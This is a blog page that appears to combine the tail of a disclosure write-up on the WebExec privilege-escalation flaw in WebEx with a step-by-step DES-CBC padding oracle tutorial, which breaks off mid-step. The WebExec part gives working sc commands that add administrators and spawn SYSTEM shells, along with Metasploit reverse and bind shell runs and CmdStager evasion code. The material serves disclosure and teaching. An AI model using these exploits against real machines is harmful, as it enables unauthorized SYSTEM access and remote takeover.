      .text:0040281D                 call    sub_4025A0
    

    If you jump into that function (double click), and scroll down a bit, you'll see:

      .text:00402616                 mov     [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\\Default"
    

    I used the most advanced technique in my arsenal here and googled that string. It turns out that it's a handle to the default desktop and is frequently used when starting a new process that needs to interact with the user. That's a great sign, it means we're almost there!

    A little bit after, in the same function, we see this code:

      .text:004026A2                 push    eax             ; EndPtr
      .text:004026A3                 push    esi             ; Str
      .text:004026A4                 call    ds:wcstod ; <--
      .text:004026AA                 add     esp, 8
      .text:004026AD                 fstp    [esp+0B4h+var_90]
      .text:004026B1                 cmp     esi, [esp+0B4h+EndPtr+4]
      .text:004026B5                 jnz     short loc_4026C2
      .text:004026B7                 push    offset aInvalidStodArg ; &quot;invalid stod argument&quot;
      .text:004026BC                 call    ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)
    

    The line with an error - wcstod() is close to where the abort() happened. I'll spare you the debugging details - debugging a service was non-trivial - but I really should have seen that function call before I got off track.

    I looked up wcstod() online, and it's another of Microsoft's cleverly named functions. This one converts a string to a number. If it fails, the code references something called std::_Xinvalid_argument. I don't know exactly what it does from there, but we can assume that it's looking for a number somewhere.

    This is where my advice becomes "be lucky". The reason is, the only number that will actually work here is "1". I don't know why, or what other numbers do, but I ended up calling the service with the commandline:

    C:\Users\ron>sc start webexservice a software-update 1 2 3 4 5 6
    

    And checked the event log:

      StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).
    

    That looks awfully promising! I changed 2 to an actual process:

      C:\Users\ron>sc start webexservice a software-update 1 calc c d e f
    

    And it opened!

    C:\Users\ron>tasklist | find "calc"
    calc.exe                      1476 Console                    1     10,804 K
    

    It actually runs with a GUI, too, so that's kind of unnecessary. I could literally see it! And it's running as SYSTEM!

    Speaking of unknowns, running cmd.exe and powershell the same way does not appear to work. We can, however, run wmic.exe and net.exe, so we have some choices!

    Local exploit

    The simplest exploit is to start cmd.exe with wmic.exe:

    C:\Users\ron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"
    

    That opens a GUI cmd.exe instance as SYSTEM:

    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
    
    C:\Windows\system32>whoami
    nt authority\system
    

    If we can't or choose not to open a GUI, we can also escalate privileges:

    C:\Users\ron>net localgroup administrators
    [...]
    Administrator
    ron
    
    C:\Users\ron>sc start webexservice a software-update 1 net localgroup administrators testuser /add
    [...]
    
    C:\Users\ron>net localgroup administrators
    [...]
    Administrator
    ron
    testuser
    

    And this all works as an unprivileged user!

    Jeff wrote a local module for Metasploit to exploit the privilege escalation vulnerability. If you have a non-SYSTEM session on the affected machine, you can use it to gain a SYSTEM account:

    meterpreter > getuid
    Server username: IEWIN7\IEUser
    
    meterpreter > background
    [*] Backgrounding session 2...
    
    msf exploit(multi/handler) > use exploit/windows/local/webexec
    msf exploit(windows/local/webexec) > set SESSION 2
    SESSION => 2
    
    msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
    msf exploit(windows/local/webexec) > set LHOST 172.16.222.1
    msf exploit(windows/local/webexec) > set LPORT 9001
    msf exploit(windows/local/webexec) > run
    
    [*] Started reverse TCP handler on 172.16.222.1:9001
    [*] Checking service exists...
    [*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe...
    [*] Launching service...
    [*] Sending stage (179779 bytes) to 172.16.222.132
    [*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700
    [*] Service started...
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    

    Remote exploit

    We actually spent over a week knowing about this vulnerability without realizing that it could be used remotely! The simplest exploit can still be done with the Windows sc command. Either create a session to the remote machine or create a local user with the same credentials, then run cmd.exe in the context of that user (runas /user:newuser cmd.exe). Once that's done, you can use the exact same command against the remote host:

    c:\>sc \\10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add
    

    The command will run (and a GUI will even pop up!) on the other machine.

    Remote exploitation with Metasploit

    To simplify this attack, I wrote a pair of Metasploit modules. One is an auxiliary module that implements this attack to run an arbitrary command remotely, and the other is a full exploit module. Both require a valid SMB account (local or domain), and both mostly depend on the WebExec library that I wrote.

    Here is an example of using the auxiliary module to run calc on a bunch of vulnerable machines:

    msf5 > use auxiliary/admin/smb/webexec_command
    msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110
    RHOSTS => 192.168.56.100-110
    msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
    SMBUser => testuser
    msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
    SMBPass => testuser
    msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
    COMMAND => calc
    msf5 auxiliary(admin/smb/webexec_command) > exploit
    
    [-] 192.168.56.105:445    - No service handle retrieved
    [+] 192.168.56.105:445    - Command completed!
    [-] 192.168.56.103:445    - No service handle retrieved
    [+] 192.168.56.103:445    - Command completed!
    [+] 192.168.56.104:445    - Command completed!
    [+] 192.168.56.101:445    - Command completed!
    [*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete)
    [*] Auxiliary module execution completed
    

    And here's the full exploit module:

    msf5 > use exploit/windows/smb/webexec
    msf5 exploit(windows/smb/webexec) > set SMBUser testuser
    SMBUser => testuser
    msf5 exploit(windows/smb/webexec) > set SMBPass testuser
    SMBPass => testuser
    msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
    PAYLOAD => windows/meterpreter/bind_tcp
    msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101
    RHOSTS => 192.168.56.101
    msf5 exploit(windows/smb/webexec) > exploit
    
    [*] 192.168.56.101:445 - Connecting to the server...
    [*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'...
    [*] 192.168.56.101:445 - Command Stager progress -   0.96% done (999/104435 bytes)
    [*] 192.168.56.101:445 - Command Stager progress -   1.91% done (1998/104435 bytes)
    ...
    [*] 192.168.56.101:445 - Command Stager progress -  98.52% done (102891/104435 bytes)
    [*] 192.168.56.101:445 - Command Stager progress -  99.47% done (103880/104435 bytes)
    [*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
    [*] Started bind TCP handler against 192.168.56.101:4444
    [*] Sending stage (179779 bytes) to 192.168.56.101
    

    The actual implementation is mostly straight forward if you look at the code linked above, but I wanted to specifically talk about the exploit module, since it had an interesting problem: how do you initially get a meterpreter .exe uploaded to execute it?

    I started by using a psexec-like exploit where we upload the .exe file to a writable share, then execute it via WebExec. That proved problematic, because uploading to a share frequently requires administrator privileges, and at that point you could simply use psexec instead. You lose the magic of WebExec!

    After some discussion with Egyp7, I realized I could use the Msf::Exploit::CmdStager mixin to stage the command to an .exe file to the filesystem. Using the .vbs flavor of staging, it would write a Base64-encoded file to the disk, then a .vbs stub to decode and execute it!

    There are several problems, however:

    • The max line length is ~1200 characters, whereas the CmdStager mixin uses ~2000 characters per line
    • CmdStager uses %TEMP% as a temporary directory, but our exploit doesn't expand paths
    • WebExecService seems to escape quotation marks with a backslash, and I'm not sure how to turn that off

    The first two issues could be simply worked around by adding options (once I'd figured out the options to use):

    wexec(true) do |opts|
      opts[:flavor] = :vbs
      opts[:linemax] = datastore["MAX_LINE_LENGTH"]
      opts[:temp] = datastore["TMPDIR"]
      opts[:delay] = 0.05
      execute_cmdstager(opts)
    end
    

    execute_cmdstager() will execute execute_command() over and over to build the payload on-disk, which is where we fix the final issue:

    # This is the callback for cmdstager, which breaks the full command into
    # chunks and sends it our way. We have to do a bit of finangling to make it
    # work correctly
    def execute_command(command, opts)
      # Replace the empty string, "", with a workaround - the first 0 characters of "A"
      command = command.gsub('""', 'mid(Chr(65), 1, 0)')
    
      # Replace quoted strings with Chr(XX) versions, in a naive way
      command = command.gsub(/"[^"]*"/) do |capture|
        capture.gsub(/"/, "").chars.map do |c|
          "Chr(#{c.ord})"
        end.join('+')
      end
    
      # Prepend "cmd /c" so we can use a redirect
      command = "cmd /c " + command
    
      execute_single_command(command, opts)
    end
    

    First, it replaces the empty string with mid(Chr(65), 1, 0), which works out to characters 1 - 1 of the string "A". Or the empty string!

    Second, it replaces every other string with Chr(n)+Chr(n)+.... We couldn't use &, because that's already used by the shell to chain commands. I later learned that we can escape it and use ^&, which works just fine, but + is shorter so I stuck with that.

    And finally, we prepend cmd /c to the command, which lets us echo to a file instead of just passing the > symbol to the process. We could probably use ^> instead.

    In a targeted attack, it's obviously possible to do this much more cleanly, but this seems to be a great way to do it generically!

    Checking for the patch

    This is one of those rare (or maybe not so rare?) instances where exploiting the vulnerability is actually easier than checking for it!

    The patched version of WebEx still allows remote users to connect to the process and start it. However, if the process detects that it's being asked to run an executable that is not signed by WebEx, the execution will halt. Unfortunately, that gives us no information about whether a host is vulnerable!

    There are a lot of targeted ways we could validate whether code was run. We could use a DNS request, telnet back to a specific port, drop a file in the webroot, etc. The problem is that unless we have a generic way to check, it's no good as a script!

    In order to exploit this, you have to be able to get a handle to the service-controlservice (svcctl), so to write a checker, I decided to install a fake service, try to start it, then delete the service. If starting the service returns either OK or ACCESS_DENIED, we know it worked!

    Here's the important code from the Nmap checker module we developed:

    -- Create a test service that we can query
    local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
    status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command))
    
    -- ...
    
    local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)
    
    -- If the service DOES_NOT_EXIST, we couldn't run code
    if string.match(test_result, 'DOES_NOT_EXIST') then
      stdnse.debug("Result: Test service does not exist: probably not vulnerable")
      msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
    
      vuln.check_results = "Could not execute code via WebExService"
      return report:make_output(vuln)
    end
    

    Not shown: we also delete the service once we're finished.

    Conclusion

    So there you have it! Escalating privileges from zero to SYSTEM using WebEx's built-in update service! Local and remote! Check out webexec.org for tools and usage instructions!

    4 thoughts on “Technical Rundown of WebExec

    1. Reply

      Benjamin

      Nice write up!

    2. Reply

      Gil

      I have been trying to use smb-vuln-webexe.nse, it seems to attempt to connect to CUSTOMERS\. In the code, it starts smb with msrpc.start_smb(host, msrpc.SVCCTL_PATH). How is that SVCCTL_PATH getting set? No matter what username and password I provide (I know the ones I am giving are good on the domain and on the test host), it keeps telling me it failed to connect with that username...
      SMB: Extended login to as CUSTOMERS\ failed (NT_STATUS_LOGON_FAILURE)

    3. Reply

      Joseph S Pierini

      Ron,

      Could you give me a bit of an understanding of your test bed? I have been unable to reproduce this using the version you provided running on various Windows 7 Pro/Ultimate platforms.

      The nmap script outputs the following:

      nmap --script smb-webexec-exploit --script-args='smbuser=admin,smbpass=password,smbdomain=WORKGROUP,webexec_command=net user nmap nmap /add' -p445 -d 192.168.1.206
      Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-07 14:00 PST
      --------------- Timing report ---------------
      hostgroups: min 1, max 100000
      rtt-timeouts: init 1000, min 100, max 10000
      max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
      parallelism: min 0, max 0
      max-retries: 10, host-timeout: 0
      min-rate: 0, max-rate: 0
      ---------------------------------------------
      NSE: Using Lua 5.3.
      NSE: Arguments from CLI: smbuser=admin,smbpass=password,smbdomain=WORKGROUP,webexec_command=net user nmap nmap /add
      NSE: Arguments parsed: smbuser=admin,smbpass=password,smbdomain=WORKGROUP,webexec_command=net user nmap nmap /add
      NSE: Loaded 1 scripts for scanning.
      NSE: Script Pre-scanning.
      NSE: Starting runlevel 1 (of 1) scan.
      Initiating NSE at 14:00
      Completed NSE at 14:00, 0.00s elapsed
      Initiating Ping Scan at 14:00
      Scanning 192.168.1.206 [2 ports]
      Completed Ping Scan at 14:00, 0.00s elapsed (1 total hosts)
      Overall sending rates: 1581.03 packets / s.
      mass_rdns: Using DNS server 8.8.8.8
      Initiating Parallel DNS resolution of 1 host. at 14:00
      mass_rdns: 0.02s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]
      Completed Parallel DNS resolution of 1 host. at 14:00, 0.02s elapsed
      DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
      Initiating Connect Scan at 14:00
      Scanning 192.168.1.206 [1 port]
      Discovered open port 445/tcp on 192.168.1.206
      Completed Connect Scan at 14:00, 0.00s elapsed (1 total ports)
      Overall sending rates: 1138.95 packets / s.
      NSE: Script scanning 192.168.1.206.
      NSE: Starting runlevel 1 (of 1) scan.
      Initiating NSE at 14:00
      NSE: Starting smb-webexec-exploit against 192.168.1.206:445.
      NSE: [smb-webexec-exploit 192.168.1.206:445] SMB: Added account '' to account list
      NSE: [smb-webexec-exploit 192.168.1.206:445] SMB: Added account 'guest' to account list
      NSE: [smb-webexec-exploit 192.168.1.206:445] SMB: Added account 'admin' to account list
      NSE: [smb-webexec-exploit 192.168.1.206:445] LM Password: 50415353574f5244
      NSE: [smb-webexec-exploit 192.168.1.206:445] Trying to open the remote service manager
      NSE: Finished smb-webexec-exploit against 192.168.1.206:445.
      Completed NSE at 14:00, 0.01s elapsed
      Nmap scan report for 192.168.1.206
      Host is up, received conn-refused (0.00053s latency).
      Scanned at 2018-11-07 14:00:01 PST for 0s

      PORT STATE SERVICE REASON
      445/tcp open microsoft-ds syn-ack
      | smb-webexec-exploit:
      |_ ERROR: Error: WebExService could not be accessed by WORKGROUP\admin
      Final times for host: srtt: 531 rttvar: 3789 to: 100000

      NSE: Script Post-scanning.
      NSE: Starting runlevel 1 (of 1) scan.
      Initiating NSE at 14:00
      Completed NSE at 14:00, 0.00s elapsed
      Read from /usr/local/bin/../share/nmap: nmap-payloads nmap-services.
      Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds

      The Metasploit module gives these errors:

      [*] 192.168.1.206:445 - Command Stager progress - 0.96% done (999/104435 bytes)
      [-] 192.168.1.206:445 - Service failed to start, ERROR_CODE: 1056
      [*] 192.168.1.206:445 - Command Stager progress - 1.91% done (1998/104435 bytes)
      [-] 192.168.1.206:445 - Service failed to start, ERROR_CODE: 1056
      [*] 192.168.1.206:445 - Command Stager progress - 2.87% done (2997/104435 bytes)

      Etc...

      The local command line "C:\Users\Bob>sc start webexservice a software-update 1 wmic process call create "cmd.exe"" is only successful if run as an administrator.

      @harmj0y's PowerUp script will work against this service, sort of. If we run "Install-ServiceBinary -Name 'WebexService' -UserName Test -Password Password -LocalGroup Administrators" as a low privileged user and then attempt to start the service via the GUI with the same user, we can successfully execute a command. But I haven't been able to get this vector to be anything other than a local priv escalation attack.

    4. Reply

      chris

      love your blog posts :) glad to see you dropping, yet another, awesome one

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### October » 2009 » SkullSecurity

    Toorcon Slides

    Hey all, Thanks for everybody who came out to my Toorcon talk! I had a great weekend, even the part where I got stuck in San Fransisco and spent two full days getting home. Oops :) A couple people asked me if I'd put up my slides, so here you go: http://svn.skullsecurity.org:81/ron/security/2009-10-toorcon/2009-10%20Toorcon.pdf (If you want […]

    Nmap script: enumerating iSCSI devices

    This is just a quick shout out to Michel Chamberland over at the SecurityWire blog. He wrote a Script to enumerate iSCSI Targets. Unfortunately, I don't have any iSCSI to test on, but if you do he'd love to hear from you! Ron

    #####EOF##### A padding oracle example » SkullSecurity


    A padding oracle example

    Early last week, I posted a blog about padding oracle attacks. I explained them in detail, as simply as I could (without making diagrams, I suck at diagrams). I asked on Reddit about how I could make it easier to understand, and JoseJimeniz suggested working through an example. I thought that was a neat idea, and working through a padding oracle attack by hand seems like a fun exercise!

    (Having done it already and writing this introduction afterwards, I can assure you that it isn't as fun as I thought it'd be :) )

    I'm going to assume that you've read my previous blog all the way through, and jump right into things!

    The setup

    As an example, let's assume we're using DES, since it has nice short block sizes. We'll use the following variables:

      P   = Plaintext (with the padding added)
      Pn  = The nth block of plaintext
      N   = The number of blocks of either plaintext or ciphertext (the number is the same)
      IV  = Initialization vector
      E() = Encrypt, using a given key (we don't notate the key for reasons of simplicity)
      D() = Decrypt, using the same key as E()
      C   = Ciphertext
      Cn  = The nth block of ciphertext
    

    We use the following values for the variables:

      P   = "Hello World\x05\x05\x05\x05\x05"
      P1  = "Hello Wo"
      P2  = "rld\x05\x05\x05\x05\x05"
      N   = 2
      IV  = "\x00\x00\x00\x00\x00\x00\x00\x00"
      E() = des-cbc with the key "mydeskey"
      D() = des-cbc with the key "mydeskey"
      C   = "\x83\xe1\x0d\x51\xe6\xd1\x22\xca\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
      C1  = "\x83\xe1\x0d\x51\xe6\xd1\x22\xca"
      C2  = "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
    

    For what it's worth, I generated the ciphertext like this:

      irb(main):001:0>; require 'openssl'
      irb(main):002:0>; c = OpenSSL::Cipher::Cipher.new('des-cbc')
      irb(main):003:0>; c.encrypt
      irb(main):004:0>; c.key = "mydeskey"
      irb(main):005:0>; c.iv = "\x00\x00\x00\x00\x00\x00\x00\x00"
      irb(main):006:0>; data = c.update("Hello World") + c.final
      irb(main):007:0>; data.unpack("H*")
      => ["83e10d51e6d122ca3faf089c7a924a7b"]
    

    Now that we have our variables, let's get started!

    Creating an oracle

    As I explained in my previous blog, this attack relies on having a decryption oracle that'll return a true/false value depending on whether or not the decryption operation succeeded. Here's a workable oracle that, albeit unrealistic, will be a perfect demonstration:

      irb(main):012:0> def try_decrypt(data)
      irb(main):013:1>   begin
      irb(main):014:2>     c = OpenSSL::Cipher::Cipher.new('des-cbc')
      irb(main):015:2>     c.decrypt
      irb(main):016:2>     c.key = "mydeskey"
      irb(main):017:2>     c.iv = "\x00\x00\x00\x00\x00\x00\x00\x00"
      irb(main):018:2>     c.update(data)
      irb(main):019:2>     c.final
      irb(main):020:2>     return true
      irb(main):021:2>   rescue OpenSSL::Cipher::CipherError
      irb(main):022:2>     return false
      irb(main):023:2>   end
      irb(main):024:1> end
    

    As you can see, it returns true if we send C:

      irb(main):025:0> try_decrypt("\x83\xe1\x0d\x51\xe6\xd1\x22\xca\x3f\xaf\x08\x9c\x7a
      \x92\x4a\x7b")
      => true
    

    And false if we flip the last bit of C (effectively changing the padding):

      irb(main):026:0> try_decrypt("\x83\xe1\x0d\x51\xe6\xd1\x22\xca\x3f\xaf\x08\x9c\x7a
       \x92\x4a\x7a")
      => false
    

    Now we have our data, our encrypted data, and a simple oracle. Let's get to work!

    Breaking the last character

    Now, let's start with breaking the second block of ciphertext, C2. The first thing we do is create our own block of ciphertext — C′ — which has no particular plaintext value:

      C′ = "\x00\x00\x00\x00\x00\x00\x00\x00"
    

    In reality, we can use any value, but all zeroes makes it easier to demonstrate. We concatenate C2 to that block, giving us:

      C′ || C2 = "\x00\x00\x00\x00\x00\x00\x00\x00\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
    

    We now have a two-block string of ciphertext. When you send that string to the oracle, the oracle will, following the cipher-block chaining standard: a) decrypt the second block, b) XOR the decrypted block with the ciphertext block that we control, and c) check the padding on the resulting block and fail if it's wrong. Read that sentence a couple times. If you need to know one thing to understand padding oracles, it's that.

    Let me repeat and rephrase, to make sure it's clear: We send two blocks of ciphertext, one we control (C′) and one we want to decrypt (C2). The one we want to decrypt (C2) is decrypted (secretly) by the server, XORed with the block we control (C′), then the resulting plaintext's padding is validated. That means that we know whether or not our ciphertext XORed with their plaintext has proper padding. That gives us enough information to decrypt the entire string, one character after the other!

    This will, of course, work for blocks other than C2 (which I notate as Cn in the previous blog). I'm using C2 because I'm working through a concrete example.

    So, we generate that string (C′ || C2). We send that to our decryption oracle, and should return a false result (unless we hit the 1/256 chance of getting the padding right at random, which we don't):

      irb(main):027:0> try_decrypt("\x00\x00\x00\x00\x00\x00\x00\x00\x3f\xaf\x08\x9c
       \x7a\x92\x4a\x7b")
      => false
    

    Now, keep in mind that this isn't decrypting to anything remotely useful! It's decrypting to a garbage string, and all that matters to us is whether or not the padding is correct, because that, thanks to a beautiful formula, tells us something about the plaintext.

    Let's now focus on just the last character of C′. Before we get to the math, let's find the value for the last byte of C′ — C′[8] — that returns valid padding, using a simple ruby script:

      irb(main):067:0> 0.upto(255) do |i|
      irb(main):068:1*   cprime = "\x00\x00\x00\x00\x00\x00\x00#{i.chr}" + 
       "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
      irb(main):069:1>   puts("#{i}: #{cprime.unpack("H*")}: #{try_decrypt(cprime)}")
      irb(main):070:1> end
      0: 00000000000000003faf089c7a924a7b: false
      1: 00000000000000013faf089c7a924a7b: false
      2: 00000000000000023faf089c7a924a7b: false
      3: 00000000000000033faf089c7a924a7b: false
      4: 00000000000000043faf089c7a924a7b: false
      5: 00000000000000053faf089c7a924a7b: false
      6: 00000000000000063faf089c7a924a7b: false
      7: 00000000000000073faf089c7a924a7b: false
      ...
      203: 00000000000000cb3faf089c7a924a7b: false
      204: 00000000000000cc3faf089c7a924a7b: false
      205: 00000000000000cd3faf089c7a924a7b: false
      206: 00000000000000ce3faf089c7a924a7b: true   <--
      207: 00000000000000cf3faf089c7a924a7b: false
      208: 00000000000000d03faf089c7a924a7b: false
      ...
    

    So what did we learn here? That when C′[8] is 206 — 0xce — it decrypts to something that ends with the byte "\x01". We can see what it's decrypting to by using some more ruby code (note that this isn't possible in a normal attack, since we don't have access to the key, this is simply used as a demonstration):

      irb(main):075:0> puts (c.update("\x00\x00\x00\x00\x00\x00\x00\xce\x3f\xaf\x08\x9c
      \x7a\x92\x4a\x7b") + c.final).unpack("H*")
      62047db89b8144b8f18d6954e3d427
    

    Note that this string is 15 characters long, and doesn't end with \x01. Why? Because the "\x01" on the end was considered to be padding by the library and removed. OpenSSL doesn't return padding to the programmer — why would it?

    We refer to this garbage string as P′, and it's not useful to us in any way, except for the padding byte that the server validates. In fact, since the server is decrypting the string secretly, we never even have access to P′.

    (For what it's worth, P′ is actually equal to the original block of plaintext (P2) XORed with the previous block of ciphertext (C1) and XORed with our ciphertext block (C′). If you work through the math, you'll discover why).

    The math

    Recall from my previous blog that the second block of our new plaintext value — P′2 — is calculated like this:

      P′2 = D(C2) ⊕ C′
    

    That is, the second block of P′ — our newly and secretly decrypted string — is equal to the second block of the ciphertext decrypted, then XORed with C′.

    But C2 was originally calculated like this:

      C2 = E(P2 ⊕ C1)
    

    In other words, the second block of ciphertext is the second block of plaintext XORed with the first block of ciphertext, then encrypted.

    We can substitute C2 in the first formula with C2 in the second formula, which results in this:

      P′2 = D(E(P2 ⊕ C1)) ⊕ C′
    

    So, the server calculates P2 XORed with C1, then encrypts it, decrypts it, and XORs it with C′. But the encryption and decryption cancel out (D(E(x)) = x, by definition), so we can reduce the formula to this:

      P′2 = P2 ⊕ C1 ⊕ C′
    

    So P′2 — the value whose padding we're trying to discover — is the second block of plaintext XORed with the first block of ciphertext, XORed with our ciphertext (C′).

    What do we know about P′2? Well, once we discover the proper padding value, the server knows that the value of P′2 is "\xf1\x8d\x69\x54\xe3\xd4\x27\x01". Unfortunately, all we know is that the padding is correct, and that P′2[8] = "\x01". But, since we know the value of P′2[8], we know enough to calculate P2[8]! Here's the calculation:

      P′2[8] = P2[8] ⊕ C1[8] ⊕ C′[8]
      (re-arrange using XOR's commutative property):
      P2[8] = P′2[8] ⊕ C1[8] ⊕ C′[8]
      P2[8] = 0x01 ⊕ 0xca ⊕ 0xce
      P2[8] = 5
    

    Holy crap! 5 is the last byte of padding! We just broke the last byte of plaintext!

    The value we know for P2 is "???????\x05"

    Second-last byte...

    Now, to calculate the second-last byte, we need a new P′. We want the last byte of P′ to decrypt to 0x02 (so that our padding will wind up as "\x02\x02" once we bruteforce the second-last byte), so we use this formula from earlier:

      P′2[k] = P2[k] ⊕ C1[k] ⊕ C′[k]
    

    And re-arrange it:

      C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]
    

    Then plug in the values we determined for P2[8] ⊕ C1[8], and the value we desire for P′2[8]:

      C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
      C′[8] = 0x02 ⊕ 0x05 ⊕ 0xca
      C′[8] = 0xcd
    

    Now we have the last character of C′: 0xcd. We use the same loop from earlier, except guessing C′[7] instead of C′[8]:

      irb(main):076:0> 0.upto(255) do |i|
      irb(main):077:1>   cprime = "\x00\x00\x00\x00\x00\x00#{i.chr}\xcd" + 
      "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
      irb(main):078:1>   puts("#{i}: #{cprime.unpack("H*")}: #{try_decrypt(cprime)}")
      irb(main):079:1> end
      ...
      36: 00000000000024cd3faf089c7a924a7b: false
      37: 00000000000025cd3faf089c7a924a7b: true
      38: 00000000000026cd3faf089c7a924a7b: false
      ...
    

    All right, now we know that when C′[7] = 0x25, P′2[7] = 0x02! Plug that back into our formula:

      P2[7] = P′2[7] ⊕ C1[7] ⊕ C′[7]
      P2[7] = 0x02 ⊕ 0x22 ⊕ 0x25
      P2[7] = 5
    

    Boom! Now we know that the second-last character of P2 is 5.

    The value we know for P2 is "??????\x05\x05"

    Third-last character

    Let's keep going! First, we calculate C′[7] and C′[8] such that P′ will end with "\x03\x03":

      C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]
    
      C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
      C′[8] = 0x03 ⊕ 0x05 ⊕ 0xca
      C′[8] = 0xcc
    
      C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
      C′[7] = 0x03 ⊕ 0x05 ⊕ 0x22
      C′[7] = 0x24
    

    And run our program (modified a bit to just show us what's interesting):

      irb(main):088:0> 0.upto(255) do |i|
      irb(main):089:1>   cprime = "\x00\x00\x00\x00\x00#{i.chr}\x24\xcc" +
      "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
      irb(main):090:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
      irb(main):091:1> end
      215: 0000000000d724cc3faf089c7a924a7b
    

    And back to our formula:

      P2[6] = P′2[6] ⊕ C1[6] ⊕ C′[6]
      P2[6] = 0x03 ⊕ 0xd1 ⊕ 0xd7
      P2[6] = 5
    

    The value we know for P2 is "?????\x05\x05\x05"

    Fourth-last character

    Calculate the C′ values for \x04\x04\x04:

      C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]
    
      C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
      C′[8] = 0x04 ⊕ 0x05 ⊕ 0xca
      C′[8] = 0xcb
    
      C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
      C′[7] = 0x04 ⊕ 0x05 ⊕ 0x22
      C′[7] = 0x23
    
      C′[6] = P′2[6] ⊕ P2[6] ⊕ C1[6]
      C′[6] = 0x04 ⊕ 0x05 ⊕ 0xd1
      C′[6] = 0xd0
    

    And our program:

      irb(main):092:0> 0.upto(255) do |i|
      irb(main):093:1>   cprime = "\x00\x00\x00\x00#{i.chr}\xd0\x23\xcb" + 
      "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
      irb(main):094:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
      irb(main):095:1> end
      231: 00000000e7d023cb3faf089c7a924a7b
    

    And breaking it:

      P2[5] = P′2[5] ⊕ C1[5] ⊕ C′[5]
      P2[5] = 0x04 ⊕ 0xe6 ⊕ 0xe7
      P2[5] = 5
    

    The value we know for P2 is "????\x05\x05\x05\x05"

    Fifth-last character

    Time for the last padding character! Calculate C′ values for \x05\x05\x05\x05:

      C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]
    
      C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
      C′[8] = 0x05 ⊕ 0x05 ⊕ 0xca
      C′[8] = 0xca
    
      C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
      C′[7] = 0x05 ⊕ 0x05 ⊕ 0x22
      C′[7] = 0x22
    
      C′[6] = P′2[6] ⊕ P2[6] ⊕ C1[6]
      C′[6] = 0x05 ⊕ 0x05 ⊕ 0xd1
      C′[6] = 0xd1
    
      C′[5] = P′2[5] ⊕ P2[5] ⊕ C1[5]
      C′[5] = 0x05 ⊕ 0x05 ⊕ 0xe6
      C′[5] = 0xe6
    

    Run the program:

      irb(main):096:0> 0.upto(255) do |i|
      irb(main):097:1*   cprime = "\x00\x00\x00#{i.chr}\xe6\xd1\x22\xca" + 
     "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
      irb(main):098:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
      irb(main):099:1> end
      81: 00000051e6d122ca3faf089c7a924a7b
    

    And break the character:

      P2[4] = P′2[4] ⊕ C1[4] ⊕ C′[4]
      P2[4] = 0x05 ⊕ 0x51 ⊕ 0x51
      P2[4] = 5
    

    The value we know for P2 is "???\x05\x05\x05\x05\x05"

    Sixth-last character

    Only three to go! Calculate C′ for \x06\x06\x06\x06\x06:

      C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]
    
      C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
      C′[8] = 0x06 ⊕ 0x05 ⊕ 0xca
      C′[8] = 0xc9
    
      C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
      C′[7] = 0x06 ⊕ 0x05 ⊕ 0x22
      C′[7] = 0x21
    
      C′[6] = P′2[6] ⊕ P2[6] ⊕ C1[6]
      C′[6] = 0x06 ⊕ 0x05 ⊕ 0xd1
      C′[6] = 0xd2
    
